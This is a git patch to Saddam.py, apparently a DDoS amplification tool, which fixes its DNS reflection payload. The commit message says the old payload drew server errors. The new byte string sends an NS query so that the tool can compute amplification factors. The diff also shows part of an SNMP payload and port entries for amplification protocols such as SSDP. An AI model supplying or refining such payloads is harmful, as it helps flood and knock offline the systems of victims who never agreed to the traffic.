From 95729eaafdd23dbb7f109422ef32f32a6d288fd1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= Date: Fri, 24 Mar 2017 15:49:59 +0200 Subject: [PATCH] DNS payload fixed Old DNS payload was malformed, every DNS request was getting server error(2) wich means server failed to complete the DNS request, i have changed the DNS payload to (\xca\xf7\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01) i also replaced the DNS query with NS, now it can calculate the amplification value successfully. --- Saddam.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/Saddam.py b/Saddam.py index 3068951..0824eb0 100644 --- a/Saddam.py +++ b/Saddam.py @@ -58,9 +58,7 @@ 'ssdp': 1900 } PAYLOAD = { - 'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01' - '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00' - '\x00\x00\x00\x00\x00\x00'), + 'dns': ('\xca\xf7\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01'), 'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c' '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01' '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'